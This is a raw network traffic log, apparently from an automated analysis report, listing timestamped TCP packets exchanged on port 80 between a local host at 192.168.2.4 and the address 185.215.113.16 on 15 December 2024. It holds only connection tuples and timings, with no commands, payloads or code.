Dec 15, 2024 12:00:00.236167908 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.236977100 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.237020016 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.237093925 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.237137079 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.238100052 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.238142967 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.238270998 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.238316059 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.239078045 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.239120960 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.239237070 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.239276886 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.240169048 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.240216970 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.240291119 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.240331888 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.241225004 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.241270065 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.241332054 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.241372108 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.242275953 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.242320061 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.242444992 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.242490053 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.243297100 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.243344069 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.243410110 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.243452072 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.244395018 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.244455099 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.244517088 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.244560957 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.245443106 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.245487928 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.245651960 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.245697021 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.246452093 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.246495962 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.246571064 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.246612072 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.247509956 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.247560024 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.247621059 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.247662067 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.248589039 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.248631001 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.248688936 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.248732090 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.249630928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.249674082 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.249716043 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.249759912 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.250705004 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.250763893 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.250824928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.250866890 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.251765966 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.251811028 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.251893044 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.251936913 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.252837896 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.252881050 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.252938986 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.252981901 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.253865957 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.253914118 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.253973961 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.254017115 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.254918098 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.254961014 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.255022049 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.255064011 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.255964041 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.256007910 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.256081104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.256124020 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.256999016 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.257041931 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.257112980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.257155895 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.258064032 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.258107901 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.258179903 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.258223057 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.259114027 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.259155989 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.259193897 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.259236097 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.260199070 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.260242939 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.260314941 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.260360003 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.261353016 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.261399031 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.261640072 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.261687994 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.262429953 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.262474060 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.262490988 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.262535095 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.263339043 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.263391018 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.263446093 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.263487101 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.264595032 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.264646053 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.264650106 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.264686108 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.265434980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.265480995 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.265559912 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.265602112 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.266513109 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.266556025 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.266565084 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.266611099 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.267544985 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.267587900 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.267648935 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.267692089 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.268621922 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.268665075 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.268726110 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.268768072 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.269706011 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.269748926 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.269808054 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.269848108 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.270715952 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.270759106 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.270833969 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.270875931 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.271791935 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.271831989 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.271931887 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.271974087 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.272797108 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.272862911 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.409668922 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.409734011 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.409816980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.409888029 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.410132885 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.410176992 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.410409927 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.410454035 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.410614967 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.410655975 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.411457062 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.411504984 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.411578894 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.411691904 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.412504911 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.412547112 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.412596941 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.412636995 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.413606882 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.413655043 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.413750887 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.413799047 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.414585114 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.414627075 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.414635897 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.414679050 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.415595055 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.415638924 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.415676117 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.415718079 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.416712046 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.416764021 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.416769981 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.416806936 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.417711973 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.417757988 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.417818069 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.417857885 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.418771029 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.418828011 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.418888092 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.418926954 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.419836998 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.419879913 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.419956923 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.420000076 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.420891047 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.420938969 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.421011925 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.421056032 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.421993971 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.422029972 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.422035933 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.422069073 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.422993898 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.423037052 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.423095942 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.423139095 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.424068928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.424124956 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.424149036 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.424190998 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.425115108 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.425168037 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.425216913 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.425266981 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.426173925 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.426223040 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.426279068 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.426317930 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.427421093 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.427474976 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.427547932 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.427586079 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.428937912 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.428987026 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.429060936 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.429104090 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.429938078 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.429985046 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.430011988 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.430051088 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.430778980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.430813074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.430824995 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.430855036 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.432027102 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.432075024 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.432080030 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.432122946 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.432848930 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.432897091 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.432950020 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.432993889 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.433557987 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.433608055 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.433721066 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.433764935 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.434619904 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.434717894 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.434731960 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.434839964 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.435657978 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.435766935 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.435837030 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.435894012 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.436707020 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.436753988 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.436820984 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.436861992 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.437762022 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.437804937 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.437872887 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.437913895 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.438822031 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.438867092 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.438936949 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.438988924 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.439865112 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.439918041 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.439989090 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.440031052 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.440943003 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.440999031 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.441076994 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.441121101 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.441982031 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.442027092 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.442043066 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.442075968 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.443052053 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.443099022 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.443170071 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.443214893 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.444127083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.444169044 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.444238901 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.444284916 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.445185900 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.445233107 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.445370913 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.445415974 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.446321964 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.446376085 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.446600914 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.446645975 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.447237015 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.447284937 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.447371006 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.447417974 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.448286057 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.448337078 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.448414087 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.448457956 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.449333906 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.449381113 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.449486971 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.449534893 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.450411081 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.450452089 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.450525045 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.450566053 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.451477051 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.451524973 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.451661110 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.451698065 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.452610970 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.452649117 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.452722073 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.452763081 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.453676939 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.453711033 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.453726053 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.453762054 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.454646111 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.454690933 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.454752922 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.454794884 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.455662966 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.455705881 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.455774069 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.455816031 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.456728935 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.456773996 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.456898928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.456943035 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.457808018 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.457869053 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.457920074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.457962990 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.458827019 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.458884001 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.458961010 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.459002972 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.459927082 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.459975958 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.460002899 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.460041046 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.460956097 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.461005926 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.461074114 CET	80	49876	185.215.113.16	192.168.2.4
